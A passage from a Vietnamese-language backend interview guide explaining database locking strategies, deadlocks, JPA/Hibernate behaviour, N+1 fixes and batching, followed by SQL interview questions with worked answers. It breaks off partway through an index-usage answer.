1. Pessimistic (findByIdForUpdate): T1 chạy select ... from product where id = 1 for update và giữ khóa dòng. T2 gọi cùng câu đó sẽ bị chặn ngay tại SELECT cho tới khi T1 commit, sau đó đọc được stock = 4 mới nhất. Không có xung đột lúc ghi, đổi lại T2 phải chờ. Method này phải được gọi bên trong @Transactional của service; nếu không, query method tự khai báo này không có transaction nào (Spring Data không tự áp @Transactional cho nó), và Hibernate ném TransactionRequiredException ("no transaction is in progress") ngay khi chạy câu FOR UPDATE. Kể cả khi thêm @Transactional lên chính method repository, khóa cũng được nhả ngay khi method trả về, coi như không khóa gì cho đoạn "đọc, tính, ghi" phía sau.
	Tiêu chí
	Optimistic (@Version)
	Pessimistic (FOR UPDATE)

	Cơ chế
	Không khóa, kiểm tra version lúc ghi
	Khóa dòng từ lúc đọc tới commit

	Khi xung đột
	UPDATE 0 dòng, ném OptimisticLockException
	Transaction sau phải chờ

	Hợp với
	Xung đột hiếm, thao tác dài, form sửa nhiều bước
	Xung đột cao, cần chắc chắn trong transaction ngắn

	Rủi ro
	Phải retry hoặc báo user
	Chờ lâu, deadlock, giảm throughput



Đừng quên lựa chọn thứ ba, thường là tốt nhất cho bài toán trừ kho: atomic update UPDATE product SET stock = stock - 1 WHERE id = ? AND stock > 0, kiểm tra số dòng bị ảnh hưởng. Với hàng đợi job, SELECT ... FOR UPDATE SKIP LOCKED (MySQL 8+, PostgreSQL) cho nhiều worker lấy việc không giẫm lên nhau.
Kịch bản từng bước với câu SQL
Ba bảng dưới cùng xử lý tình huống: sản phẩm id 1 còn stock = 1, version = 3, T1 và T2 cùng muốn mua món cuối cùng.
Optimistic lock (Hibernate sinh SQL từ entity có @Version):
	Bước
	T1
	T2
	Kết quả

	1
	SELECT id, stock, version FROM product WHERE id = 1;
	
	Đọc stock 1, version 3

	2
	
	Cùng câu SELECT
	Cũng đọc stock 1, version 3

	3
	UPDATE product SET stock = 0, version = 4 WHERE id = 1 AND version = 3; COMMIT;
	
	1 dòng bị ảnh hưởng, T1 mua được

	4
	
	UPDATE product SET stock = 0, version = 4 WHERE id = 1 AND version = 3;
	0 dòng, Hibernate ném OptimisticLockException, T2 rollback



Pessimistic lock (findByIdForUpdate sinh FOR UPDATE):
	Bước
	T1
	T2
	Kết quả

	1
	SELECT ... FROM product WHERE id = 1 FOR UPDATE;
	
	T1 giữ khóa dòng, đọc stock 1

	2
	
	SELECT ... FROM product WHERE id = 1 FOR UPDATE;
	T2 bị chặn, đứng chờ

	3
	UPDATE product SET stock = 0 WHERE id = 1; COMMIT;
	
	T1 nhả khóa

	4
	
	SELECT của T2 chạy tiếp
	T2 đọc stock 0, báo hết hàng



Atomic update (không đọc trước, để DB tự kiểm tra):
	Bước
	T1
	T2
	Kết quả

	1
	UPDATE product SET stock = stock - 1 WHERE id = 1 AND stock > 0;
	
	1 dòng, stock thành 0

	2
	
	Cùng câu UPDATE
	Chờ T1 commit, rồi đánh giá lại stock > 0 trên bản mới: 0 dòng

	3
	COMMIT;
	Ứng dụng thấy 0 dòng, báo hết hàng
	Không bao giờ âm kho



Giải thích: Cả ba cách đều cho kết quả đúng (chỉ một người mua được), khác nhau ở chỗ ai phải trả giá: optimistic để T2 thất bại muộn và phải retry; pessimistic bắt T2 chờ ngay từ lúc đọc; atomic update gộp "kiểm tra và trừ" thành một câu nên chỉ khóa trong thời gian rất ngắn. Tôi đã chạy thử atomic update trên SQLite: lần đầu changes() trả 1, lần thứ hai trả 0.
Optimistic lock chỉ đầy đủ khi có retry. Đoạn code dưới đây tách vòng retry ra một bean riêng, vì mỗi lần thử phải là một transaction mới đọc lại dữ liệu mới:
	@Service
public class StockService {
    private final StockTxService tx; // separate bean, so calls go through the @Transactional proxy
 
    public StockService(StockTxService tx) { this.tx = tx; }
 
    public void decrease(long productId) {
        for (int attempt = 1; ; attempt++) {
            try {
                tx.decreaseOnce(productId); // each attempt is a new transaction with a fresh read
                return;
            } catch (ObjectOptimisticLockingFailureException e) {
                if (attempt == 3) throw e; // give up after 3 attempts
            }
        }
    }
}
 
@Service
class StockTxService {
    private final ProductRepository repo;
    StockTxService(ProductRepository repo) { this.repo = repo; }
 
    @Transactional
    public void decreaseOnce(long id) {
        Product p = repo.findById(id).orElseThrow();
        if (p.getStock() <= 0) throw new IllegalStateException("out of stock");
        p.setStock(p.getStock() - 1); // flushed as UPDATE ... WHERE id = ? AND version = ?
    }
}



Giải thích: Khi xung đột, decreaseOnce ném ObjectOptimisticLockingFailureException lúc commit, transaction đó đã rollback; StockService.decrease bắt lỗi và gọi lại, lần gọi sau mở transaction mới nên đọc được version mới. Nếu đặt vòng retry bên trong method @Transactional, mọi lần thử dùng chung một transaction đã hỏng và một persistence context đang giữ entity cũ, nên retry vô nghĩa. Nếu decreaseOnce nằm cùng class và được gọi qua this, @Transactional bị bỏ qua do self-invocation (xem 4.5). Thực tế có thể dùng @Retryable của Spring Retry thay cho vòng lặp tay. Đoạn code giả định Product có getter/setter.
Deadlock
Deadlock xảy ra khi T1 giữ khóa dòng A và chờ dòng B, còn T2 giữ B và chờ A. InnoDB và PostgreSQL tự phát hiện, chọn một transaction làm nạn nhân và rollback nó (MySQL lỗi 1213, PostgreSQL SQLSTATE 40P01). Phòng tránh: khóa theo thứ tự nhất quán (ví dụ chuyển tiền luôn khóa tài khoản có id nhỏ trước), giữ transaction ngắn, đảm bảo UPDATE/DELETE có index (InnoDB khóa trên index; không có index là khóa rất nhiều dòng), và retry ở tầng ứng dụng vì deadlock không thể loại bỏ 100%.
Deadlock qua bảng thời gian
Deadlock (khóa chết) là tình trạng hai transaction chờ nhau vòng tròn nên không bên nào đi tiếp được. Ví dụ kinh điển: T1 chuyển 10 từ tài khoản 1 sang 2, cùng lúc T2 chuyển 20 từ tài khoản 2 sang 1.
	Bước
	T1 (1 sang 2)
	T2 (2 sang 1)
	Kết quả

	1
	UPDATE accounts SET balance = balance - 10 WHERE id = 1;
	
	T1 khóa dòng 1

	2
	
	UPDATE accounts SET balance = balance - 20 WHERE id = 2;
	T2 khóa dòng 2

	3
	UPDATE accounts SET balance = balance + 10 WHERE id = 2;
	
	T1 chờ T2 nhả dòng 2

	4
	
	UPDATE accounts SET balance = balance + 20 WHERE id = 1;
	T2 chờ T1: vòng chờ, DB rollback T2

	5
	COMMIT;
	Nhận lỗi, ứng dụng retry
	T1 hoàn tất



Giải thích: Ở bước 4, MySQL trả cho T2 lỗi ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction, PostgreSQL trả ERROR: deadlock detected. Sửa bằng thứ tự khóa nhất quán: cả hai luôn cập nhật tài khoản có id nhỏ trước. Khi đó T2 bắt đầu bằng dòng 1, bị chặn ngay ở bước 2 chờ T1 xong, và không còn vòng chờ. Để điều tra deadlock đã xảy ra, MySQL có mục LATEST DETECTED DEADLOCK trong SHOW ENGINE INNODB STATUS, PostgreSQL ghi chi tiết hai câu lệnh vào log server.
6.4 JPA/Hibernate
	NHẮC LẠI KIẾN THỨC
N2.11 đã giới thiệu JPA là đặc tả, Hibernate là hiện thực; entity là class ánh xạ tới bảng, EntityManager là đối tượng dùng để đọc ghi entity. Mục 4.5 giải thích @Transactional hoạt động qua proxy; trong Spring, persistence context sống cùng transaction đó, nên mọi hành vi ở mục này (dirty checking, lazy loading) phụ thuộc vào việc bạn đang ở trong hay ngoài transaction.



Entity state và persistence context
	Trạng thái
	Ý nghĩa

	Transient
	Object vừa new, persistence context không biết tới

	Managed
	Được persistence context theo dõi, thay đổi sẽ được flush

	Detached
	Từng managed nhưng context đã đóng hoặc bị clear/detach

	Removed
	Đã gọi remove, sẽ DELETE khi flush



Tài liệu cũ thường chỉ nêu 3 trạng thái và bỏ quên Removed. Persistence context (gắn với EntityManager, trong Spring mặc định sống theo transaction) chính là first-level cache: trong cùng context, find cùng id hai lần chỉ query một lần và trả về cùng một object. Dirty checking: lúc flush, Hibernate so trạng thái hiện tại của entity managed với snapshot lúc load và tự sinh UPDATE, không cần gọi save(). Flush xảy ra trước commit, khi gọi flush(), và (FlushMode AUTO) trước khi chạy query có thể bị ảnh hưởng bởi thay đổi chưa flush.
Ví dụ: persistence context và câu SQL Hibernate sinh ra
Nói bằng lời thường: persistence context là một "sổ ghi chép" Hibernate giữ trong suốt transaction, ghi lại mọi entity đã load cùng bản sao trạng thái lúc load. Flush là lúc Hibernate đối chiếu sổ đó với các object hiện tại và gửi xuống DB các câu SQL cần thiết. Đoạn code dưới đây làm 6 thao tác trong một transaction; hãy để ý thao tác nào thực sự sinh SQL:
	@Service
public class CustomerService {
    private final EntityManager em;
    public CustomerService(EntityManager em) { this.em = em; }
 
    @Transactional
    public void demo() {
        Customer a1 = em.find(Customer.class, 1L); // SQL: select by id
        Customer a2 = em.find(Customer.class, 1L); // no SQL: served from the persistence context
        System.out.println(a1 == a2);              // prints: true
        a1.setName("An Nguyễn");                   // no SQL yet, only the Java object changes
        List<Customer> all = em.createQuery("select c from Customer c", Customer.class)
                .getResultList();                  // auto flush: UPDATE first, then the SELECT
        Customer d = new Customer(4L, "Dũng");     // transient, Hibernate does not know it
        em.persist(d);                             // managed now, INSERT waits until flush
    }                                              // commit: flush the INSERT, then COMMIT
}



Log SQL (bật spring.jpa.show-sql hoặc logger org.hibernate.SQL) cho thấy 4 câu:
	select c1_0.id,c1_0.name from customers c1_0 where c1_0.id=?
update customers set name=? where id=?
select c1_0.id,c1_0.name from customers c1_0
insert into customers (name,id) values (?,?)



Giải thích: 6 thao tác nhưng chỉ 4 câu SQL, theo đúng thứ tự trên:
1. find lần đầu sinh SELECT; lần thứ hai lấy từ persistence context nên không có SQL và a1 == a2 in true (cùng một object).
1. setName không sinh SQL ngay. Nhưng trước khi chạy câu JPQL trên bảng customers, Hibernate phải auto flush để câu query thấy tên mới, nên UPDATE xuất hiện trước SELECT thứ hai. Nếu không có câu JPQL, UPDATE sẽ được gửi lúc commit.
1. persist với id gán tay không INSERT ngay; INSERT được gửi lúc flush trước commit. (Với GenerationType.IDENTITY, Hibernate buộc phải INSERT ngay để lấy id, xem mục Bulk insert.)
1. Không có dòng nào gọi save() hay update(), vậy mà DB vẫn bị sửa: đó là dirty checking. Nếu method được đánh dấu @Transactional(readOnly = true), Spring đặt Hibernate sang chế độ không flush và không giữ snapshot, nên thay đổi tên sẽ không được ghi.
Second-level cache gắn với EntityManagerFactory, dùng chung giữa các session, mặc định tắt; cần bật hibernate.cache.use_second_level_cache, cấu hình provider (thường Ehcache qua JCache) và đánh dấu entity. Chỉ hợp cho dữ liệu đọc nhiều, ít đổi (danh mục, cấu hình). Nhiều instance hoặc hệ thống khác ghi thẳng vào DB thì cache dễ lệch; nhiều team chọn Spring Cache + Redis ở tầng service thay vì L2.
Lazy, eager và LazyInitializationException
Mặc định của JPA: @ManyToOne và @OneToOne là EAGER, @OneToMany và @ManyToMany là LAZY. Nguyên tắc thực chiến: đặt mọi association là LAZY (@ManyToOne(fetch = FetchType.LAZY)) rồi fetch chủ động theo từng use case. EAGER không thể "tắt" theo từng query và thường sinh query thừa.
LazyInitializationException xảy ra khi truy cập association lazy (proxy hoặc collection chưa khởi tạo) sau khi persistence context đã đóng, thường là lúc Jackson serialize entity ở controller. Cách sửa đúng: fetch đủ dữ liệu trong transaction ở tầng service (JOIN FETCH, @EntityGraph) và trả về DTO. Cách sai: chuyển sang EAGER, bật hibernate.enable_lazy_load_no_trans.
Open Session In View: Spring Boot bật spring.jpa.open-in-view=true mặc định (kèm log cảnh báo khi khởi động), giữ EntityManager mở tới hết request nên lazy loading "chạy được" ở controller. Cái giá: connection bị giữ tới cuối request, query lazy phát sinh ngoài tầng service khó kiểm soát và N+1 bị che giấu. Tôi khuyên đặt false cho REST API.
N+1 và cách xử lý
N+1: 1 query lấy N đơn hàng, rồi mỗi lần truy cập order.getCustomer() hoặc order.getItems() sinh thêm 1 query. 100 đơn thành 101 round-trip tới DB. Phát hiện bằng log SQL, thống kê Hibernate hoặc test đếm số query.
Ví dụ: orderRepository.findByStatus(PAID) trả 100 đơn, sau đó vòng lặp gọi order.getItems().size() cho từng đơn, và log SQL hiện 1 câu select ... from orders cùng 100 câu select ... from order_item where order_id = ?. Repository dưới đây gom ba cách sửa phổ biến, mỗi method tương ứng một kỹ thuật:
	import java.time.LocalDateTime;
import java.util.List;
import org.springframework.data.jpa.repository.EntityGraph;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.Query;
import org.springframework.data.repository.query.Param;
 
public interface OrderRepository extends JpaRepository<Order, Long> {
    // Option 1: JOIN FETCH, load orders and items in one query
    @Query("select o from Order o join fetch o.items where o.status = :status")
    List<Order> findWithItems(@Param("status") OrderStatus status);
 
    // Option 2: derived query, EntityGraph tells Hibernate to also JOIN customer
    @EntityGraph(attributePaths = {"customer"})
    List<Order> findByCreatedAtAfter(LocalDateTime from);
 
    // Option 3: DTO projection, SELECT only 3 columns, no managed entities
    @Query("""
        select new com.shop.order.OrderSummary(o.id, c.name, o.total)
        from Order o join o.customer c where o.status = :status
        """)
    List<OrderSummary> findSummaries(@Param("status") OrderStatus status);
}



Giải thích: Cả ba method đều trả dữ liệu bằng một câu SQL thay vì 1 + N câu:
1. findWithItems sinh dạng select o.*, i.* from orders o join order_item i on i.order_id = o.id where o.status = ?. Collection items của mỗi đơn được nạp sẵn, nên vòng lặp phía sau không query thêm. Lưu ý join fetch là inner join: đơn không có item nào sẽ không xuất hiện trong kết quả; cần giữ lại thì dùng left join fetch.
1. findByCreatedAtAfter sinh select o.*, c.* from orders o left join customer c on c.id = o.customer_id where o.created_at > ?, nên order.getCustomer().getName() không kích hoạt lazy load.
1. findSummaries sinh select o.id, c.name, o.total from orders o join customer c on ... where o.status = ?, rồi Hibernate gọi constructor của OrderSummary (thường là một record) cho từng dòng. Kết quả không phải entity nên không bị dirty checking và không có association nào để lazy load.
Chi tiết từng kỹ thuật:
1. JOIN FETCH: một query lấy luôn association. Hibernate 6 tự loại entity cha trùng lặp, không cần DISTINCT như Hibernate 5. Không phân trang được khi fetch collection (Hibernate cảnh báo HHH90003004 và phân trang trong bộ nhớ); fetch hai List cùng lúc gây MultipleBagFetchException.
1. @EntityGraph: khai báo association cần fetch ngay trên method repository.
1. Batch fetching: hibernate.default_batch_fetch_size hoặc @BatchSize biến N query thành khoảng N/size query dạng IN (...); an toàn với phân trang.
1. DTO projection: màn hình chỉ đọc thì lấy đúng cột cần, không tạo entity managed, không dirty checking. Đây thường là lựa chọn tốt nhất cho API danh sách.
Phân trang kèm collection: query 1 lấy trang id, query 2 JOIN FETCH theo danh sách id đó.
Đếm số query trước và sau khi sửa
Đoạn code dưới in số item của từng đơn đã thanh toán. Order.items là @OneToMany nên mặc định LAZY:
	@Transactional(readOnly = true)
public void printItemCounts() {
    List<Order> orders = orderRepository.findByStatus(OrderStatus.PAID); // 1 query for the list
    for (Order o : orders) {
        System.out.println(o.getId() + ": " + o.getItems().size()); // 1 extra query per order
    }
}



Với dữ liệu mẫu có 3 đơn PAID (101, 103, 104), log SQL hiện:
	select o1_0.id,o1_0.customer_id,o1_0.status,o1_0.total from orders o1_0 where o1_0.status=?
select i1_0.order_id,i1_0.id,i1_0.sku from order_item i1_0 where i1_0.order_id=?
select i1_0.order_id,i1_0.id,i1_0.sku from order_item i1_0 where i1_0.order_id=?
select i1_0.order_id,i1_0.id,i1_0.sku from order_item i1_0 where i1_0.order_id=?



Giải thích: 1 câu lấy danh sách, cộng 3 câu lấy items của từng đơn (tham số lần lượt là 101, 103, 104), tổng 4 câu, đúng công thức 1 + N. Bảng dưới đếm số query theo từng cách sửa đã nêu ở trên:
	Cách lấy dữ liệu
	3 đơn
	100 đơn
	1000 đơn

	Lazy mặc định (N+1)
	4
	101
	1001

	join fetch hoặc @EntityGraph
	1
	1
	1

	default_batch_fetch_size: 100
	2
	2
	11

	DTO projection
	1
	1
	1



Với batch fetching, câu đầu lấy danh sách, sau đó mỗi 100 đơn chỉ tốn một câu where order_id in (?, ?, ...), nên 1000 đơn là 1 + 10 = 11 câu. Để khóa kết quả này bằng test, bật spring.jpa.properties.hibernate.generate_statistics=true rồi assert Statistics.getPrepareStatementCount(), hoặc dùng thư viện đếm query; khi ai đó vô tình thêm một truy cập lazy, test sẽ đỏ ngay.
save, persist, merge
1. persist(entity): entity transient thành managed, không trả về gì.
1. merge(entity): copy trạng thái của object (thường detached) vào một instance managed và trả về instance managed đó; object truyền vào vẫn detached. Nếu chưa có trong context, Hibernate SELECT trước.
1. Spring Data save(): nếu entity được coi là mới thì persist, ngược lại merge. "Mới" được xác định qua @Version null hoặc id null (hoặc implement Persistable).
1. saveAndFlush(): flush ngay, nhưng chưa commit.
Ở Hibernate 6, các API native Session.save(), update(), saveOrUpdate() đã bị deprecated, thay bằng persist/merge.
Bulk insert/update
Cấu hình dưới đây là bộ tham số tôi thường bật cho service có import hoặc cập nhật hàng loạt. Mặc định Hibernate gửi từng câu INSERT/UPDATE riêng lẻ, mỗi câu một round-trip tới DB.
	spring:
  jpa:
    open-in-view: false # disable OSIV (see the Lazy section above)
    properties: # keys below are passed to Hibernate as-is
      hibernate:
        jdbc:
          batch_size: 50 # group up to 50 identical statements into one JDBC batch
        order_inserts: true # sort INSERTs by entity so batches are not split
        order_updates: true
        default_batch_fetch_size: 100 # batch lazy loading: IN (...) with up to 100 ids



Giải thích: Các key dưới spring.jpa.properties được Boot chuyển thẳng thành property của Hibernate (hibernate.jdbc.batch_size...). Với batch_size: 50, khi persist 1000 entity, Hibernate dùng PreparedStatement.addBatch() và gửi 20 lượt thay vì 1000 lượt. order_inserts quan trọng khi lưu xen kẽ nhiều loại entity (Order, OrderItem, Order, OrderItem...): nếu không sắp xếp lại, mỗi lần đổi loại câu lệnh thì batch hiện tại bị gửi đi sớm, batch thực tế chỉ còn 1–2 câu. default_batch_fetch_size áp dụng cho chiều đọc: N lần lazy load được gom thành vài câu WHERE id IN (...). Tuy vậy, batch chỉ thực sự phát huy khi bạn xử lý thêm các điểm sau.
Khi import nhiều bản ghi: bật jdbc.batch_size, cứ mỗi 50 bản ghi gọi flush() rồi clear() để persistence context không phình. GenerationType.IDENTITY vô hiệu hóa insert batching vì Hibernate phải INSERT ngay để lấy id. Trên PostgreSQL dùng SEQUENCE với allocationSize (ví dụ 50, pooled optimizer). MySQL không có sequence, nên với khối lượng lớn hãy dùng JdbcTemplate.batchUpdate kèm rewriteBatchedStatements=true trên JDBC URL. Bulk update qua JPQL (@Modifying @Query("update ...")) đi thẳng xuống DB, bỏ qua persistence context và dirty checking; nên dùng clearAutomatically = true để tránh đọc dữ liệu cũ.
Migration và connection pool
Flyway/Liquibase: schema được version hóa trong repo (V1__init.sql, V2__add_order_status.sql), chạy tự động lúc khởi động, lưu lịch sử và checksum trong bảng riêng. Không bao giờ sửa migration đã chạy; tạo migration mới. Production dùng spring.jpa.hibernate.ddl-auto=validate hoặc none, không bao giờ update. Với rolling deploy, migration phải tương thích ngược (expand/contract: thêm cột mới, deploy code ghi cả hai, rồi mới xóa cột cũ).
HikariCP là pool mặc định của Spring Boot. Mặc định maximumPoolSize=10, connectionTimeout=30s. Pool lớn hơn không có nghĩa nhanh hơn: DB chỉ xử lý song song hiệu quả theo số core; gợi ý khởi đầu từ tài liệu HikariCP là core_count * 2 + effective_spindle_count của DB server. Nhớ nhân với số instance ứng dụng và so với max_connections của DB. Giảm connectionTimeout để fail fast, bật leakDetectionThreshold để phát hiện code giữ connection quá lâu.
6.5 Câu hỏi phỏng vấn thường gặp
Câu hỏi (Cơ bản): WHERE khác HAVING thế nào? Vì sao không dùng alias của SELECT trong WHERE được?
WHERE lọc dòng trước GROUP BY, HAVING lọc nhóm sau GROUP BY và dùng được hàm tổng hợp. Thứ tự thực thi logic là FROM → WHERE → GROUP BY → HAVING → SELECT → ORDER BY → LIMIT, nên lúc WHERE chạy, alias trong SELECT chưa tồn tại; ORDER BY thì dùng được alias.
	BẪY THƯỜNG GẶP
Đặt điều kiện không liên quan aggregate vào HAVING. Kết quả đúng nhưng DB phải gom nhóm toàn bộ dữ liệu trước khi lọc.



Câu hỏi (Cơ bản): Lấy 3 nhân viên lương cao nhất của mỗi phòng ban?
Dùng window function ROW_NUMBER() hoặc DENSE_RANK() với PARTITION BY department_id ORDER BY salary DESC trong subquery, rồi lọc rn <= 3. Chọn hàm theo yêu cầu khi có đồng lương: đúng 3 người thì ROW_NUMBER, top 3 mức lương thì DENSE_RANK.
Câu hỏi (Cơ bản): DELETE và TRUNCATE khác nhau thế nào?
DELETE là DML, xóa từng dòng theo WHERE, kích hoạt trigger, chậm với bảng lớn. TRUNCATE là DDL, giải phóng cả trang dữ liệu, rất nhanh, thường reset AUTO_INCREMENT.
	BẪY THƯỜNG GẶP
Khẳng định chắc nịch "TRUNCATE không rollback được". Đúng với MySQL/Oracle (implicit commit), sai với PostgreSQL, nơi TRUNCATE nằm trong transaction.



Câu hỏi (Đọc code): Query dưới đây trả về gì trên dữ liệu mẫu?
	SELECT c.name, COUNT(*) AS c1, COUNT(o.id) AS c2
FROM customers c
LEFT JOIN orders o ON o.customer_id = c.id AND o.status = 'PAID'
GROUP BY c.id, c.name
ORDER BY c.id;



Dữ liệu: customers gồm An (1), Bình (2), Chi (3); orders có đơn PAID 101 của An, 103 và 104 của Bình, cùng đơn 102 (NEW) và 105 (CANCELLED) của An.
Đáp án:
	name
	c1
	c2

	An
	1
	1

	Bình
	2
	2

	Chi
	1
	0



Chỗ đáng chú ý là dòng Chi: COUNT(*) ra 1 còn COUNT(o.id) ra 0. Điều kiện status = 'PAID' nằm trong ON nên đơn 102, 105 không được ghép và An chỉ còn một dòng. Chi không có đơn nào khớp nên LEFT JOIN vẫn sinh một dòng Chi | NULL. COUNT(*) đếm dòng, nên được 1; COUNT(o.id) chỉ đếm giá trị khác NULL, nên được 0. Muốn đếm số đơn của mỗi khách sau LEFT JOIN, luôn dùng COUNT(cột của bảng phải).
Câu hỏi (Đọc code): Query top 2 dưới đây trả về bao nhiêu dòng?
	SELECT department_id, name, salary
FROM (
    SELECT e.*, RANK() OVER (PARTITION BY department_id ORDER BY salary DESC) AS rk
    FROM employees e
) t
WHERE rk <= 2;



Dữ liệu phòng 10: Lan 5000, Minh 5000, Nga 4000, Oanh 3000, Phúc 2000. Phòng 20: Quân 4500, Sơn 3500.
Đáp án:
4 dòng: Lan, Minh (phòng 10) và Quân, Sơn (phòng 20). Ở phòng 10, RANK cho Lan và Minh cùng hạng 1, rồi nhảy thẳng tới hạng 3 cho Nga, nên rk <= 2 chỉ giữ hai người đồng hạng 1. Phòng 20 có hạng 1 và 2. Nếu dùng DENSE_RANK, Nga được hạng 2 và phòng 10 trả 3 người; dùng ROW_NUMBER thì trả đúng 2 người nhưng ai được chọn giữa Lan và Minh là không xác định nếu không thêm cột phụ vào ORDER BY.
Câu hỏi (Đọc code): Câu SQL dưới đây chạy được trên MySQL 8 và PostgreSQL không?
	SELECT customer_id, status, SUM(total) AS total
FROM orders
GROUP BY customer_id;



Đáp án:
Không. Cả hai đều báo lỗi vì status không nằm trong GROUP BY và cũng không nằm trong hàm tổng hợp. Nhóm customer_id = 1 có ba đơn với ba status khác nhau (PAID, NEW, CANCELLED), DB không biết lấy status nào để hiển thị. PostgreSQL báo column "orders.status" must appear in the GROUP BY clause or be used in an aggregate function; MySQL 8 bật ONLY_FULL_GROUP_BY mặc định và báo lỗi 1055. MySQL 5.6 cũ và SQLite thì chấp nhận và trả một status bất kỳ, đó là nguồn gốc của nhiều bug dữ liệu. Sửa bằng cách thêm status vào GROUP BY (tổng theo khách và trạng thái) hoặc bỏ nó khỏi SELECT.
Câu hỏi (Hiểu sâu): Tìm khách hàng chưa có đơn nào. Viết bằng NOT IN có vấn đề gì?
Cách an toàn là NOT EXISTS hoặc LEFT JOIN ... WHERE o.id IS NULL; NOT IN sai khi subquery có giá trị NULL. Trên dữ liệu mẫu, cả hai câu dưới đều trả về Chi:
1. SELECT c.name FROM customers c WHERE NOT EXISTS (SELECT 1 FROM orders o WHERE o.customer_id = c.id);
1. SELECT c.name FROM customers c LEFT JOIN orders o ON o.customer_id = c.id WHERE o.id IS NULL;
Vấn đề của NOT IN: c.id NOT IN (1, NULL) tương đương c.id <> 1 AND c.id <> NULL; vế sau luôn là UNKNOWN nên cả biểu thức không bao giờ TRUE, và query trả rỗng. Tôi đã thử với bảng blacklist(customer_id) chứa 1 và NULL: WHERE c.id NOT IN (SELECT customer_id FROM blacklist) trả 0 dòng thay vì Bình và Chi. Cột orders.customer_id ở đây là NOT NULL nên tạm an toàn, nhưng thói quen dùng NOT EXISTS tránh được bẫy khi schema thay đổi.
Câu hỏi (Cơ bản): Window function khác GROUP BY thế nào?
GROUP BY gộp nhiều dòng thành một dòng mỗi nhóm; window function giữ nguyên mọi dòng và gắn thêm giá trị tính trên nhóm. Ví dụ trên bảng employees: SELECT department_id, SUM(salary) FROM employees GROUP BY department_id trả 2 dòng (phòng 10: 19000, phòng 20: 8000). Còn SELECT name, salary, SUM(salary) OVER (PARTITION BY department_id) FROM employees trả đủ 7 dòng, mỗi dòng kèm tổng lương của phòng mình, nhờ đó tính được "lương người này chiếm bao nhiêu phần trăm của phòng" (Quân 4500/8000 khoảng 56%) mà không cần JOIN lại. Window function được tính sau WHERE, GROUP BY, HAVING, nên muốn lọc theo nó phải bọc query con.
Câu hỏi (Hiểu sâu): Bạn có index (customer_id, status, created_at). Những query nào dùng được index này?
Dùng được với điều kiện bắt đầu từ cột trái nhất: customer_id, customer_id + status, cả ba cột, và ORDER BY created_at khi hai cột đầu là so sánh bằng. Không dùng hiệu quả khi chỉ lọc status hoặc created_at. Điều kiện range trên status làm created_at không còn dùng để seek. Nếu SELECT chỉ lấy các cột trong index thì thành covering index.
	CÂU HỎI ĐÀO SÂU
"Query có index mà vẫn chậm, bạn làm gì?" — Chạy EXPLAIN xem index nào được chọn, số dòng ước lượng, có filesort/temporary không; kiểm tra hàm bọc cột, ép kiểu ngầm, wildcard đầu; kiểm tra thống kê cũ (ANALYZE TABLE / ANALYZE); cân nhắc covering index hoặc viết lại query.



Câu hỏi (Hiểu sâu): Vì sao OFFSET lớn chậm? Giải pháp?
DB vẫn phải đọc và bỏ qua toàn bộ các dòng trước offset, nên trang 5000 chậm hơn trang 1 rất nhiều. Giải pháp là keyset pagination: nhớ giá trị sort của dòng cuối trang trước và dùng WHERE (created_at, id) < ... với index phù hợp. Nếu vẫn cần offset (màn hình admin), giới hạn số trang tối đa.
Câu hỏi (Cơ bản): Index là gì, vì sao làm query nhanh hơn, và cái giá phải trả là gì?
Index là một cấu trúc dữ liệu phụ (thường là B+Tree) giữ giá trị của cột đã sắp xếp kèm con trỏ tới dòng, giúp DB tìm dòng bằng vài lần đọc trang thay vì quét cả bảng. Bảng 10 triệu dòng không có index trên email thì WHERE email = ? phải đọc cả 10 triệu dòng; có index thì chỉ đi 3–4 tầng cây. Cái giá: mỗi INSERT, UPDATE cột được index, DELETE đều phải cập nhật thêm cây; index tốn dung lượng đĩa và bộ nhớ đệm; optimizer có nhiều lựa chọn hơn nên đôi khi chọn sai. Vì vậy chỉ index theo query thực tế: cột trong WHERE, JOIN, ORDER BY của các query chạy nhiều.
Câu hỏi (Hiểu sâu): Clustered index và secondary index trong InnoDB khác nhau thế nào? Vì sao PK dạng UUID v4 làm insert chậm?
Clustered index là cây PK chứa luôn cả dòng dữ liệu ở lá; secondary index chỉ chứa giá trị cột được index kèm PK. Tra theo secondary index là đi hai cây: tìm PK trong cây secondary rồi tra cây PK để lấy đủ cột; nếu mọi cột cần đã có trong secondary index (covering) thì bỏ được bước hai. UUID v4 là số ngẫu nhiên, nên dòng mới chèn vào vị trí bất kỳ giữa cây PK: trang đích thường đã đầy và phải tách đôi, cây phân mảnh, bộ đệm phải nạp nhiều trang khác nhau. PK tăng dần (BIGINT tự tăng, sequence, hoặc UUID v7 có thành phần thời gian) luôn chèn vào cuối cây. Ngoài ra UUID 16 byte (hoặc 36 byte nếu lưu dạng chuỗi) làm mọi secondary index phình to vì chúng đều chứa PK.
	CÂU HỎI ĐÀO SÂU
"Vậy PostgreSQL có bị như vậy không?" — PostgreSQL không có clustered index theo nghĩa InnoDB: dữ liệu nằm trong heap, mọi index đều trỏ tới vị trí tuple. UUID ngẫu nhiên vẫn làm cây index PK phân mảnh và tốn bộ nhớ đệm, nhưng không ảnh hưởng tới vị trí dòng trong bảng như InnoDB.



Câu hỏi (Hiểu sâu): Vì sao index trên cột status chỉ có 3 giá trị thường không được dùng?
Vì độ chọn lọc thấp: một giá trị ứng với quá nhiều dòng, nên đi qua index rồi tra ngược từng dòng còn tốn hơn quét thẳng bảng. Nếu 90% đơn là PAID, WHERE status = 'PAID' qua index nghĩa là hàng triệu lần nhảy ngẫu nhiên về cây PK, trong khi full scan đọc tuần tự rất nhanh; optimizer ước lượng được điều này nên bỏ index. Index đó vẫn có ích khi: lọc giá trị hiếm (status = 'FAILED' chỉ 0,1%), khi nó là cột đầu của composite index kèm cột khác ((status, created_at) cho màn hình "đơn PAID mới nhất"), hoặc dùng partial index của PostgreSQL CREATE INDEX ... WHERE status = 'FAILED'.
Câu hỏi (Đọc code): Index (customer_id, status, created_at) có được dùng cho từng câu dưới không?
	-- Q1
SELECT * FROM orders WHERE status = 'PAID' AND customer_id = 7;
-- Q2
SELECT * FROM orders WHERE created_at >= '2026-09-01';
-- Q3
SELECT * FROM orders WHERE customer_id = 7 AND created_at >= '2026-09-01';
-- Q4
SELECT id, status FROM orders WHERE customer_id = 7;



Đáp án:
1. Q1: có, seek cả customer_id và status. Thứ tự điều kiện trong WHERE không quan trọng, chỉ cần tập điều kiện chứa tiền tố trái của index.
